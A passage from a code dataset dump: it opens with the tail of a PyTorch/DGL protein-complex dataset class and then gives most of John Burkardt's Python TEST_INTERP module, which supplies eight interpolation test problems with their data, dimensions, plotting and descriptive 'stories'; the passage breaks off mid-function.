processed_complex['graph1'].ndata['f'] = torch.cat((g1_rsa, g1_psaia, g1_hsaac), dim=1)\n #\n # g2_rsa = processed_complex['graph2'].ndata['f'][:, 35: 36].reshape(-1, 1) # RSA\n # g2_psaia = processed_complex['graph2'].ndata['f'][:, 37: 43] # PSAIA\n # g2_hsaac = processed_complex['graph2'].ndata['f'][:, 43: 85] # HSAAC\n # processed_complex['graph2'].ndata['f'] = torch.cat((g2_rsa, g2_psaia, g2_hsaac), dim=1)\n\n # processed_complex['graph1'].edata['f'] = processed_complex['graph1'].edata['f'][:, 1].reshape(-1, 1)\n # processed_complex['graph2'].edata['f'] = processed_complex['graph2'].edata['f'][:, 1].reshape(-1, 1)\n\n # Return requested complex to DataLoader\n return processed_complex\n\n def __len__(self) -> int:\n r\"\"\"Number of graph batches in the dataset.\"\"\"\n return len(self.filenames_frame)\n\n @property\n def num_chains(self) -> int:\n \"\"\"Number of protein chains in each complex.\"\"\"\n return 2\n\n @property\n def num_classes(self) -> int:\n \"\"\"Number of classes for each pair of inter-protein residues.\"\"\"\n return 2\n\n @property\n def num_node_features(self) -> int:\n \"\"\"Number of node feature values after encoding them.\"\"\"\n return 107\n\n @property\n def num_edge_features(self) -> int:\n \"\"\"Number of edge feature values after encoding them.\"\"\"\n return 3\n\n @property\n def raw_path(self) -> str:\n \"\"\"Directory in which to locate raw pairs.\"\"\"\n return self.raw_dir\n\n @property\n def url(self) -> str:\n \"\"\"URL with which to download TAR archive of preprocessed pairs.\"\"\"\n return 'https://zenodo.org/record/4815267/files/final_raw_db5.tar.gz?download=1'\n","sub_path":"project/datasets/DB5/db5_dgl_dataset.py","file_name":"db5_dgl_dataset.py","file_ext":"py","file_size_in_byte":12271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"194967927","text":"#! /usr/bin/env python\n#\ndef p00_data_num ( prob ):\n\n#*****************************************************************************80\n#\n## P00_DATA_NUM returns the number of data points for any problem.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 29 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# Input, integer PROB, the problem index.\n#\n# Output, integer DATA_NUM, the number of data points.\n#\n from sys import exit\n\n if ( prob == 1 ):\n data_num = p01_data_num ( )\n elif ( prob == 2 ):\n data_num = p02_data_num ( )\n elif ( prob == 3 ):\n data_num = p03_data_num ( )\n elif ( prob == 4 ):\n data_num = p04_data_num ( )\n elif ( prob == 5 ):\n data_num = p05_data_num ( )\n elif ( prob == 6 ):\n data_num = p06_data_num ( )\n elif ( prob == 7 ):\n data_num = p07_data_num ( )\n elif ( prob == 8 ):\n data_num = p08_data_num ( )\n else:\n print ( '' )\n print ( 'P00_DATA_NUM - Fatal error!' )\n print ( ' Unexpected input value of PROB.' )\n exit ( 'P00_DATA_NUM - Fatal error!' )\n\n return data_num\n\ndef p01_data_num ( ):\n\n#*****************************************************************************80\n#\n## P01_DATA_NUM returns the number of data points for problem p01.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 29 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# Output, integer DATA_NUM, the number of data points.\n#\n data_num = 18\n\n return data_num\n\ndef p02_data_num ( ):\n\n#*****************************************************************************80\n#\n## P02_DATA_NUM returns the number of data points for problem p02.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 29 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# Output, integer DATA_NUM, the number of data points.\n#\n data_num = 18\n\n return data_num\n\ndef p03_data_num ( ):\n\n#*****************************************************************************80\n#\n## P03_DATA_NUM returns the number of data points for problem p03.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 29 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# Output, integer DATA_NUM, the number of data points.\n#\n data_num = 11\n\n return data_num\n\ndef p04_data_num ( ):\n\n#*****************************************************************************80\n#\n## P04_DATA_NUM returns the number of data points for problem p04.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 29 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# Output, integer DATA_NUM, the number of data points.\n#\n data_num = 8\n\n return data_num\n\ndef p05_data_num ( ):\n\n#*****************************************************************************80\n#\n## P05_DATA_NUM returns the number of data points for problem p05.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 29 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# Output, integer DATA_NUM, the number of data points.\n#\n data_num = 9\n\n return data_num\n\ndef p06_data_num ( ):\n\n#*****************************************************************************80\n#\n## P06_DATA_NUM returns the number of data points for problem p06.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 29 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# Output, integer DATA_NUM, the number of data points.\n#\n data_num = 49\n\n return data_num\n\ndef p07_data_num ( ):\n\n#*****************************************************************************80\n#\n## P07_DATA_NUM returns the number of data points for problem p07.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 29 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# Output, integer DATA_NUM, the number of data points.\n#\n data_num = 4\n\n return data_num\n\ndef p08_data_num ( ):\n\n#*****************************************************************************80\n#\n## P08_DATA_NUM returns the number of data points for problem p08.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 29 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# Output, integer DATA_NUM, the number of data points.\n#\n data_num = 12\n\n return data_num\n\ndef p00_data_num_test ( ):\n\n#*****************************************************************************80\n#\n## P00_DATA_NUM_TEST tests P00_DATA_NUM.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 29 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n import platform\n\n print ( '' )\n print ( 'P00_DATA_NUM_TEST' )\n print ( ' Python version: %s' % ( platform.python_version ( ) ) )\n print ( ' P00_DATA_NUM returns the number of data points for any problem.' )\n print ( '' )\n print ( ' Problem Data Num' )\n print ( '' )\n\n prob_num = p00_prob_num ( )\n\n for prob in range ( 1, prob_num + 1 ):\n\n data_num = p00_data_num ( prob )\n\n print ( ' %7d %9d' % ( prob, data_num ) )\n#\n# Terminate.\n#\n print ( '' )\n print ( 'P00_DATA_NUM_TEST:' )\n print ( ' Normal end of execution.' )\n return\n\ndef p00_data ( prob, dim_num, data_num ):\n\n#*****************************************************************************80\n#\n## P00_DATA returns the data for any problem.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 29 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# Input, integer PROB, the problem index.\n#\n# Input, integer DIM_NUM, the spatial dimension of the dependent\n# variables.\n#\n# Input, integer DATA_NUM, the number of data points.\n#\n# Output, real P_DATA(DIM_NUM,DATA_NUM), the data.\n#\n from sys import exit\n\n if ( prob == 1 ):\n p_data = p01_data ( dim_num, data_num )\n elif ( prob == 2 ):\n p_data = p02_data ( dim_num, data_num )\n elif ( prob == 3 ):\n p_data = p03_data ( dim_num, data_num )\n elif ( prob == 4 ):\n p_data = p04_data ( dim_num, data_num )\n elif ( prob == 5 ):\n p_data = p05_data ( dim_num, data_num )\n elif ( prob == 6 ):\n p_data = p06_data ( dim_num, data_num )\n elif ( prob == 7 ):\n p_data = p07_data ( dim_num, data_num )\n elif ( prob == 8 ):\n p_data = p08_data ( dim_num, data_num )\n else:\n print ( '' )\n print ( 'P00_DATA - Fatal error!' )\n print ( ' Unexpected input value of PROB.' )\n exit ( 'P00_DATA - Fatal error!' )\n\n return p_data\n\ndef p01_data ( dim_num, data_num ):\n\n#*****************************************************************************80\n#\n## P01_DATA returns the data for problem p01.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 29 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# Input, integer DIM_NUM, the spatial dimension of the dependent\n# variables.\n#\n# Input, integer DATA_NUM, the number of data points.\n#\n# Output, real P_DATA(DIM_NUM,DATA_NUM), the data.\n#\n import numpy as np\n\n p_data = np.array ( [ \\\n [ 0.0, 4.0 ], \\\n [ 1.0, 5.0 ], \\\n [ 2.0, 6.0 ], \\\n [ 4.0, 6.0 ], \\\n [ 5.0, 5.0 ], \\\n [ 6.0, 3.0 ], \\\n [ 7.0, 1.0 ], \\\n [ 8.0, 1.0 ], \\\n [ 9.0, 1.0 ], \\\n [ 10.0, 3.0 ], \\\n [ 11.0, 4.0 ], \\\n [ 12.0, 4.0 ], \\\n [ 13.0, 3.0 ], \\\n [ 14.0, 3.0 ], \\\n [ 15.0, 4.0 ], \\\n [ 16.0, 4.0 ], \\\n [ 17.0, 3.0 ], \\\n [ 18.0, 0.0 ] ] )\n\n p_data = np.transpose ( p_data )\n\n return p_data\n\ndef p02_data ( dim_num, data_num ):\n\n#*****************************************************************************80\n#\n## P02_DATA returns the data for problem p02.\n#\n# Discussion:\n#\n# Two pairs of identical X values have now been slightly separated.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 29 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# Input, integer DIM_NUM, the spatial dimension of the dependent\n# variables.\n#\n# Input, integer DATA_NUM, the number of data points.\n#\n# Output, real P_DATA(DIM_NUM,DATA_NUM), the data.\n#\n import numpy as np\n\n p_data = np.array ( [ \\\n [ 0.00, 0.00 ], \\\n [ 1.34, 5.00 ], \\\n [ 5.00, 8.66 ], \\\n [ 10.00, 10.00 ], \\\n [ 10.60, 10.40 ], \\\n [ 10.70, 12.00 ], \\\n [ 10.705, 28.60 ], \\\n [ 10.80, 30.20 ], \\\n [ 11.40, 30.60 ], \\\n [ 19.60, 30.60 ], \\\n [ 20.20, 30.20 ], \\\n [ 20.295, 28.60 ], \\\n [ 20.30, 12.00 ], \\\n [ 20.40, 10.40 ], \\\n [ 21.00, 10.00 ], \\\n [ 26.00, 8.66 ], \\\n [ 29.66, 5.00 ], \\\n [ 31.00, 0.00 ] ] )\n\n p_data = np.transpose ( p_data )\n\n return p_data\n\ndef p03_data ( dim_num, data_num ):\n\n#*****************************************************************************80\n#\n## P03_DATA returns the data for problem p03.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 29 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# Input, integer DIM_NUM, the spatial dimension of the dependent\n# variables.\n#\n# Input, integer DATA_NUM, the number of data points.\n#\n# Output, real P_DATA(DIM_NUM,DATA_NUM), the data.\n#\n import numpy as np\n\n p_data = np.array ( [ \\\n [ 0.0, 0.0 ], \\\n [ 2.0, 10.0 ], \\\n [ 3.0, 10.0 ], \\\n [ 5.0, 10.0 ], \\\n [ 6.0, 10.0 ], \\\n [ 8.0, 10.0 ], \\\n [ 9.0, 10.5 ], \\\n [ 11.0, 15.0 ], \\\n [ 12.0, 50.0 ], \\\n [ 14.0, 60.0 ], \\\n [ 15.0, 85.0 ] ] )\n\n p_data = np.transpose ( p_data )\n\n return p_data\n\ndef p04_data ( dim_num, data_num ):\n\n#*****************************************************************************80\n#\n## P04_DATA returns the data for problem p04.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 29 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# Input, integer DIM_NUM, the spatial dimension of the dependent\n# variables.\n#\n# Input, integer DATA_NUM, the number of data points.\n#\n# Output, real P_DATA(DIM_NUM,DATA_NUM), the data.\n#\n import numpy as np\n\n p_data = np.array ( [ \\\n [ 0.00, 0.00 ], \\\n [ 0.05, 0.70 ], \\\n [ 0.10, 1.00 ], \\\n [ 0.20, 1.00 ], \\\n [ 0.80, 0.30 ], \\\n [ 0.85, 0.05 ], \\\n [ 0.90, 0.10 ], \\\n [ 1.00, 1.00 ] ] )\n\n p_data = np.transpose ( p_data )\n\n return p_data\n\ndef p05_data ( dim_num, data_num ):\n\n#*****************************************************************************80\n#\n## P05_DATA returns the data for problem p05.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 29 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# Input, integer DIM_NUM, the spatial dimension of the dependent\n# variables.\n#\n# Input, integer DATA_NUM, the number of data points.\n#\n# Output, real P_DATA(DIM_NUM,DATA_NUM), the data.\n#\n import numpy as np\n\n p_data = np.array ( [ \\\n [ 0.00, 0.00 ], \\\n [ 0.10, 0.90 ], \\\n [ 0.20, 0.95 ], \\\n [ 0.30, 0.90 ], \\\n [ 0.40, 0.10 ], \\\n [ 0.50, 0.05 ], \\\n [ 0.60, 0.05 ], \\\n [ 0.80, 0.20 ], \\\n [ 1.00, 1.00 ] ] )\n\n p_data = np.transpose ( p_data )\n\n return p_data\n\ndef p06_data ( dim_num, data_num ):\n\n#*****************************************************************************80\n#\n## P06_DATA returns the data for problem p06.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 29 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# Input, integer DIM_NUM, the spatial dimension of the dependent\n# variables.\n#\n# Input, integer DATA_NUM, the number of data points.\n#\n# Output, real P_DATA(DIM_NUM,DATA_NUM), the data.\n#\n import numpy as np\n\n p_data = np.array ( [ \\\n [ 595.0, 0.644 ], \\\n [ 605.0, 0.622 ], \\\n [ 615.0, 0.638 ], \\\n [ 625.0, 0.649 ], \\\n [ 635.0, 0.652 ], \\\n [ 645.0, 0.639 ], \\\n [ 655.0, 0.646 ], \\\n [ 665.0, 0.657 ], \\\n [ 675.0, 0.652 ], \\\n [ 685.0, 0.655 ], \\\n [ 695.0, 0.644 ], \\\n [ 705.0, 0.663 ], \\\n [ 715.0, 0.663 ], \\\n [ 725.0, 0.668 ], \\\n [ 735.0, 0.676 ], \\\n [ 745.0, 0.676 ], \\\n [ 755.0, 0.686 ], \\\n [ 765.0, 0.679 ], \\\n [ 775.0, 0.678 ], \\\n [ 785.0, 0.683 ], \\\n [ 795.0, 0.694 ], \\\n [ 805.0, 0.699 ], \\\n [ 815.0, 0.710 ], \\\n [ 825.0, 0.730 ], \\\n [ 835.0, 0.763 ], \\\n [ 845.0, 0.812 ], \\\n [ 855.0, 0.907 ], \\\n [ 865.0, 1.044 ], \\\n [ 875.0, 1.336 ], \\\n [ 885.0, 1.881 ], \\\n [ 895.0, 2.169 ], \\\n [ 905.0, 2.075 ], \\\n [ 915.0, 1.598 ], \\\n [ 925.0, 1.211 ], \\\n [ 935.0, 0.916 ], \\\n [ 945.0, 0.746 ], \\\n [ 955.0, 0.672 ], \\\n [ 965.0, 0.627 ], \\\n [ 975.0, 0.615 ], \\\n [ 985.0, 0.607 ], \\\n [ 995.0, 0.606 ], \\\n [1005.0, 0.609 ], \\\n [1015.0, 0.603 ], \\\n [1025.0, 0.601 ], \\\n [1035.0, 0.603 ], \\\n [1045.0, 0.601 ], \\\n [1055.0, 0.611 ], \\\n [1065.0, 0.601 ], \\\n [1075.0, 0.608 ] ] )\n\n p_data = np.transpose ( p_data )\n\n return p_data\n\ndef p07_data ( dim_num, data_num ):\n\n#*****************************************************************************80\n#\n## P07_DATA returns the data for problem p07.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 29 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# Input, integer DIM_NUM, the spatial dimension of the dependent\n# variables.\n#\n# Input, integer DATA_NUM, the number of data points.\n#\n# Output, real P_DATA(DIM_NUM,DATA_NUM), the data.\n#\n import numpy as np\n\n p_data = np.array ( [ \\\n [ 0.0, 1.0 ], \\\n [ 1.0, 2.0 ], \\\n [ 4.0, 2.0 ], \\\n [ 5.0, 1.0 ] ] )\n\n p_data = np.transpose ( p_data )\n\n return p_data\n\ndef p08_data ( dim_num, data_num ):\n\n#*****************************************************************************80\n#\n## P08_DATA returns the data for problem p08.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 29 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# Input, integer DIM_NUM, the spatial dimension of the dependent\n# variables.\n#\n# Input, integer DATA_NUM, the number of data points.\n#\n# Output, real P_DATA(DIM_NUM,DATA_NUM), the data.\n#\n import numpy as np\n\n p_data = np.array ( [ \\\n [ -1.0, 1.00 ], \\\n [ -0.8, 0.64 ], \\\n [ -0.6, 0.36 ], \\\n [ -0.4, 0.16 ], \\\n [ -0.2, 0.04 ], \\\n [ 0.0, 0.00 ], \\\n [ 0.2, 0.04 ], \\\n [ 0.20001, 0.05 ], \\\n [ 0.4, 0.16 ], \\\n [ 0.6, 0.36 ], \\\n [ 0.8, 0.64 ], \\\n [ 1.0, 1.00 ] ] )\n\n p_data = np.transpose ( p_data )\n\n return p_data\n\ndef p00_data_test ( ):\n\n#*****************************************************************************80\n#\n## P00_DATA_TEST tests P00_DATA.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 29 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n import platform\n\n print ( '' )\n print ( 'P00_DATA_TEST tests P00_DATA' )\n print ( ' Python version: %s' % ( platform.python_version ( ) ) )\n print ( ' P00_DATA returns the actual (MxN) data for any problem.' )\n\n prob_num = p00_prob_num ( )\n\n for prob in range ( 1, prob_num + 1 ):\n\n print ( '' )\n print ( ' Problem %d' % ( prob ) )\n\n data_num = p00_data_num ( prob )\n print ( ' DATA_NUM = %d' % ( data_num ) )\n\n dim_num = p00_dim_num ( prob )\n print ( ' DIM_NUM = %d' % ( dim_num ) )\n\n p = p00_data ( prob, dim_num, data_num )\n\n r8mat_transpose_print ( dim_num, data_num, p, ' Data array:' )\n#\n# Terminate.\n#\n print ( '' )\n print ( 'P00_DATA_TEST:' )\n print ( ' Normal end of execution.' )\n return\n\ndef p00_dim_num ( prob ):\n\n#*****************************************************************************80\n#\n## P00_DIM_NUM returns the spatial dimension for any problem.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 28 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# Input, integer PROB, the problem index.\n#\n# Output, integer DIM_NUM, the spatial dimension of the\n# dependent variables.\n#\n if ( prob == 1 ):\n dim_num = p01_dim_num ( )\n elif ( prob == 2 ):\n dim_num = p02_dim_num ( )\n elif ( prob == 3 ):\n dim_num = p03_dim_num ( )\n elif ( prob == 4 ):\n dim_num = p04_dim_num ( )\n elif ( prob == 5 ):\n dim_num = p05_dim_num ( )\n elif ( prob == 6 ):\n dim_num = p06_dim_num ( )\n elif ( prob == 7 ):\n dim_num = p07_dim_num ( )\n elif ( prob == 8 ):\n dim_num = p08_dim_num ( )\n else:\n print ( '' )\n print ( 'P00_DIM_NUM - Fatal error!' )\n print ( ' Unexpected input value of PROB.' )\n exit ( 'P00_DIM_NUM - Fatal error!' )\n\n return dim_num\n\ndef p01_dim_num ( ):\n\n#*****************************************************************************80\n#\n## P01_DIM_NUM returns the spatial dimension for problem p01.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 28 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# Output, integer DIM_NUM, the spatial dimension of the\n# dependent variables.\n#\n dim_num = 2\n\n return dim_num\n\ndef p02_dim_num ( ):\n\n#*****************************************************************************80\n#\n## P02_DIM_NUM returns the spatial dimension for problem p02.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 28 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# Output, integer DIM_NUM, the spatial dimension of the\n# dependent variables.\n#\n dim_num = 2\n\n return dim_num\n\ndef p03_dim_num ( ):\n\n#*****************************************************************************80\n#\n## P03_DIM_NUM returns the spatial dimension for problem p03.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 28 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# Output, integer DIM_NUM, the spatial dimension of the\n# dependent variables.\n#\n dim_num = 2\n\n return dim_num\n\ndef p04_dim_num ( ):\n\n#*****************************************************************************80\n#\n## P04_DIM_NUM returns the spatial dimension for problem p04.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 28 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# Output, integer DIM_NUM, the spatial dimension of the\n# dependent variables.\n#\n dim_num = 2\n\n return dim_num\n\ndef p05_dim_num ( ):\n\n#*****************************************************************************80\n#\n## P05_DIM_NUM returns the spatial dimension for problem p05.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 28 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# Output, integer DIM_NUM, the spatial dimension of the\n# dependent variables.\n#\n dim_num = 2\n\n return dim_num\n\ndef p06_dim_num ( ):\n\n#*****************************************************************************80\n#\n## P06_DIM_NUM returns the spatial dimension for problem p06.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 28 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# Output, integer DIM_NUM, the spatial dimension of the\n# dependent variables.\n#\n dim_num = 2\n\n return dim_num\n\ndef p07_dim_num ( ):\n\n#*****************************************************************************80\n#\n## P07_DIM_NUM returns the spatial dimension for problem p07.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 28 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# Output, integer DIM_NUM, the spatial dimension of the\n# dependent variables.\n#\n dim_num = 2\n\n return dim_num\n\ndef p08_dim_num ( ):\n\n#*****************************************************************************80\n#\n## P08_DIM_NUM returns the spatial dimension for problem p08.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 28 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# Output, integer DIM_NUM, the spatial dimension of the\n# dependent variables.\n#\n dim_num = 2\n\n return dim_num\n\ndef p00_dim_num_test ( ):\n\n#*****************************************************************************80\n#\n## P00_DIM_NUM_TEST tests P00_DIM_NUM.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 28 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n import platform\n\n print ( '' )\n print ( 'P00_DIM_NUM_TEST' )\n print ( ' Python version: %s' % ( platform.python_version ( ) ) )\n print ( ' P00_DIM_NUM returns the spatial dimension for any problem.' )\n print ( '' )\n print ( ' Problem Dimension' )\n print ( '' )\n\n prob_num = p00_prob_num ( )\n\n for prob in range ( 1, prob_num + 1 ):\n\n dim_num = p00_dim_num ( prob )\n\n print ( ' %7d %9d' % ( prob, dim_num ) )\n#\n# Terminate.\n#\n print ( '' )\n print ( 'P00_DIM_NUM_TEST:' )\n print ( ' Normal end of execution.' )\n return\n\ndef p00_plot ( prob ):\n\n#*****************************************************************************80\n#\n## P00_PLOT plots the data for any of the tests.\n#\n# Discussion:\n#\n# For now we assume that the data dimension is 2, so that we are simply\n# creating a single X-Y plot.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 20 July 2012\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# Input, integer PROB, the problem index.\n#\n import matplotlib.pyplot as plt\n import numpy as np\n from sys import exit\n\n prob_num = p00_prob_num\n\n if ( prob < 1 or prob_num < prob ):\n print ( '' )\n print ( 'P00_PLOT - Fatal error!' )\n print ( ' Values of PROB must be between 1 and %d.' % ( prob_num ) )\n exit ( 'P00_PLOT - Fatal error!' )\n\n data_num = p00_data_num ( prob )\n\n dim_num = p00_dim_num ( prob )\n \n p = p00_data ( prob, dim_num, data_num )\n\n x = p[0,:]\n y = p[1,:]\n\n t = 'TEST_INTERP Data Set #' + str ( prob )\n filename = 'p0' + str ( prob ) + '_plot.png'\n#\n# PYLAB commands.\n#\n plt.plot ( x, y, linewidth = 2.0 )\n plt.plot ( x, y, 'r.', markersize = 25 )\n plt.title ( t )\n plt.grid ( True )\n plt.xlabel ( '<---X--->' )\n plt.ylabel ( '<---Y--->' )\n\n plt.savefig ( filename )\n plt.show ( )\n plt.clf ( )\n\n return filename\n\ndef p00_plot_test ( ):\n\n#*****************************************************************************80\n#\n## P00_PLOT_TEST tests P00_PLOT.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 29 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n import platform\n\n print ( '' )\n print ( 'P00_PLOT_TEST' )\n print ( ' Python version: %s' % ( platform.python_version ( ) ) )\n print ( ' P00_PLOT plots any test problem.' )\n\n num = p00_prob_num ( )\n print ( '' )\n print ( ' TEST_INTERP includes %d test problems.' % ( num ) )\n\n print ( '' )\n for prob in range ( 1, num + 1 ):\n filename = p00_plot ( prob )\n print ( ' #%d \"%s\"' % ( prob, filename ) )\n#\n# Terminate.\n#\n print ( '' )\n print ( 'P00_PLOT_TEST:' )\n print ( ' Normal end of execution.' )\n return\n\ndef p00_prob_num ( ):\n\n#*****************************************************************************80\n#\n## P00_PROB_NUM returns the number of problems.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 27 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# Output, integer VALUE, the number of problems.\n#\n value = 8\n\n return value\n\ndef p00_prob_num_test ( ):\n\n#*****************************************************************************80\n#\n## P00_PROB_NUM_TEST tests P00_PROB_NUM.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 27 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n import platform\n\n print ( '' )\n print ( 'P00_PROB_NUM_TEST' )\n print ( ' Python version: %s' % ( platform.python_version ( ) ) )\n print ( ' P00_PROB_NUM returns the number of test problems.' )\n\n num = p00_prob_num ( )\n\n print ( '' )\n print ( ' TEST_INTERP includes %d test problems.' % ( num ) )\n#\n# Terminate.\n#\n print ( '' )\n print ( 'P00_PROB_NUM_TEST:' )\n print ( ' Normal end of execution.' )\n return\n\ndef p00_story ( prob ):\n\n#*****************************************************************************80\n#\n## P00_STORY prints the \"story\" for any problem.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 28 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# None\n#\n from sys import exit\n\n if ( prob == 1 ):\n p01_story ( )\n elif ( prob == 2 ):\n p02_story ( )\n elif ( prob == 3 ):\n p03_story ( )\n elif ( prob == 4 ):\n p04_story ( )\n elif ( prob == 5 ):\n p05_story ( )\n elif ( prob == 6 ):\n p06_story ( )\n elif ( prob == 7 ):\n p07_story ( )\n elif ( prob == 8 ):\n p08_story ( )\n else:\n print ( '' )\n print ( 'P00_STORY - Fatal error!' )\n print ( ' Unexpected input value of PROB.' )\n exit ( 'P00_STORY - Fatal error!' )\n\n return\n\ndef p01_story ( ):\n\n#*****************************************************************************80\n#\n## P01_STORY prints the \"story\" for problem p01.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 28 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Reference:\n#\n# Hans-Joerg Wenz,\n# Interpolation of Curve Data by Blended Generalized Circles,\n# Computer Aided Geometric Design,\n# Volume 13, Number 8, November 1996, pages 673-680.\n#\n# Parameters:\n#\n# None\n#\n print ( '' )\n print ( ' This example is due to Hans-Joerg Wenz.' )\n print ( ' It is an example of good data, which is dense enough in areas' )\n print ( ' where the expected curvature of the interpolant is large.' )\n print ( ' Good results can be expected with almost any reasonable' )\n print ( ' interpolation method.' )\n\n return\n\ndef p02_story ( ):\n\n#*****************************************************************************80\n#\n## P02_STORY prints the \"story\" for problem p02.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 28 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Reference:\n#\n# ETY Lee,\n# Choosing Nodes in Parametric Curve Interpolation,\n# Computer-Aided Design,\n# Volume 21, Number 6, July/August 1989, pages 363-370.\n#\n# Parameters:\n#\n# None\n#\n print ( '' )\n print ( ' This example is due to ETY Lee of Boeing.' )\n print ( ' Data near the corners is more dense than in regions of small curvature.' )\n print ( ' A local interpolation method will produce a more plausible' )\n print ( ' interpolant than a nonlocal interpolation method, such as' )\n print ( ' cubic splines.' )\n\n return\n\ndef p03_story ( ):\n\n#*****************************************************************************80\n#\n## P03_STORY prints the \"story\" for problem p03.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 28 June 2015\n#\n# Author:\n#\n# 